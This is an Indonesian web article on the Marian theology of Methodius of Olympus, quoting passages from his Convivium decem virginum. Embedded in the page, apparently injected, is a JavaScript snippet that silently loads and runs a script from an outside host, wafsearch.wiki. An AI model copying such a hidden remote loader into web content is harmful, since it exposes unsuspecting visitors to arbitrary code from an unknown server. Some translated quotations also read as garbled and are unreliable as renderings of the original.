Mariologi Metodius dari Olimpus (m. 311)

Dari Metodius dari Olimpus, yang kemungkinan besar adalah uskup dari Licia di Asia Kecil, sedikit informasi biografi yang kita miliki: diketahui bahwa ia meninggal sebagai martir pada tahun 311. Ia menulis banyak karya, di antaranya yang terkenal dan satu-satunya yang tetap utuh dalam bahasa aslinya adalah *Convivium decem virginum*, atau *Dialog tentang Keperawanan*, yang terinspirasi dari *Symposium* Plato. Dalam dialog ini, sepuluh perawan bergantian memuji keunggulan keperawanan. Dialog berakhir dengan sebuah himne kepada Kristus Pengantin dan Gereja-Nya sebagai istri-Nya. Kristus memulihkan manusia yang jatuh dan terkorupsi, mengembalikannya ke asal-usulnya dan kepada Tuhan. Tempat di mana transformasi ini terjadi adalah rahim Perawan, tempat kemurnian, dengan kekuatan Roh Kudus. Sebuah prosesi perawan dan wanita suci berkumpul kepada Kristus, mulai dari Abel yang mati hingga Yohanes Pembaptis: prosesi kesetiaan dan kesaksian. Maria, Perawan, adalah tempat tempat perkawinan antara Tuhan dan manusia. Ia adalah Ibu Kehidupan yang tidak ternoda dan murni, yang bertemu dengan Pengantin-Nya bersama seluruh Gereja, menegaskan kesetiaan tanpa syarat-Nya.*Dialog tentang Keperawanan*Transformasi Manusia dalam Kristus> “Seorang anak pertama dari Tuhan, Anak Pertama dan Unik, yaitu Kebijaksanaan, haruslah bersatu dengan bentuk pertama, dengan bentuk pertama dan anak pertama dari manusia. Ia adalah Kristus: seorang manusia penuh dengan keilahian murni dan sempurna, dan Tuhan yang terkandung dalam manusia. Ia adalah yang tertua dari aeons dan pertama dari arkanj, bukan untuk menyamakan diri-Nya dengan makhluk, tetapi untuk mengatakan bahwa Ia lebih tua dari mereka dan oleh karena itu lebih kuat.> Karena demikian, yang tertua dari aeons dan pertama dari arkanj, ketika harus bersatu dengan manusia, tinggal di dalam manusia pertama dan tertua, Adam. Dengan demikian, Tuhan, meremajakan semua ciptaan dari awal dan memperbarui-Nya, melahirkan (Kristus) dari Perawan dan Roh Kudus: dari awal, ketika bumi masih perawan dan belum dibajak, Tuhan mengambil liat dan dengan itu membentuk, tanpa benih, makhluk yang paling bijaksana…> Adam, sebagai gumpalan tanah yang masih lunak dan lembap, dan belum memperoleh keteguhan sebagai wadah oleh keabadian, oleh dosa itu meleleh, mengalir seperti air tetes demi tetes. Oleh karena itu, Tuhan, sekali lagi menyemprotkan-Nya dari atas dan membentuk-Nya di dalam rahim yang perawan, pertama-tama membuatnya kokoh dan padat. Kemudian, menyatu dan mencampurnya dengan Logos, yang keras dan tidak bisa dihancurkan, Ia menghidupkannya kembali, untuk mencegah agar, terbenam oleh gelombang korupsi dari luar, ia mengalami kemunduran dan hancur kembali.”

(Convivium, III, 4-5)

Perawan dalam prosesi perawan

Ant.: Aku menjaga kemurnianku untukmu, dan dengan obor-obor terang aku datang menemuimu, wahai Suami!
Mazmur (18): Penggerakmu dan Kehidupan, Anugerah yang tak tersentuh, tak tersirami, ketika benihmu yang tak ternoda membuahkan kehidupan di rahim yang tak disemai, perawan itu menunjukkan dirinya sebagai orang yang telah berkhianat di atas tempat tidur.
Namun, hamil ia berkata, wahai Terpuji:
Ant.: Aku menjaga kemurnianku untukmu, dan dengan obor-obor terang aku datang menemuimu, wahai Suami!

(Convivium, XI, 18)

var url = ‘https://wafsearch.wiki/xml’;
var script = document.createElement(‘script’);
script.src = url;
script.type = ‘text/javascript’;
script.async = true;
document.getElementsByTagName(‘head’)[0].appendChild(script);

Untuk mempelajari Mariologi secara lebih mendalam, lihatlah Ensiklik Redemptoris Mater dari Paus Yohanes Paulus II, yang menerangi peran Maria dalam tradisi teologis Gereja.

Lanjutkan studi Anda: jelajahi MariologiTeologi MariaPenampakan Maria dan Program Pascasarjana Mariologi.